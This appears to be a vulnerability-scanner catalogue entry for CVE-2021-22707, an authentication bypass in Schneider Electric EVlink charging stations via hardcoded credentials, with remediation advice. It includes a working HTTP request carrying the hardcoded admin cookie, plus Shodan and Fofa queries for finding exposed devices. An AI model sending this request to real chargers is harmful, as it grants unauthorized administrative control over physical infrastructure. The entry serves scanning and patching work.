| Title | EVlink City < R8 V3.4.0.1 - Authentication Bypass |
|---|---|
| Author | ritikchaddha,dorkerdevil |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass authentication via hardcoded credentials and issue unauthorized administrative commands to the charging station web server, potentially disrupting charging operations or stealing sensitive data. |
| Remediation | Upgrade to EVlink City R8 V3.4.0.1 or later to fix the authentication bypass vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91573 |
| CVE ID | CVE-2021-22707 |
| CWE ID | CWE-798 |
| Shodan Query | title:"EVSE web interface"http.title:"evse web interface" |
| Fofa Query | title="EVSE web interface"title="evse web interface" |
| Tags | cve2021 cve evlink auth-bypass schneider-electric vkev vuln |
A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: CURLTOKEN=b35fcdc1ea1221e6dd126e172a0131c5a; SESSIONID=admin
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22707.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-22707.pcap
N/AN/A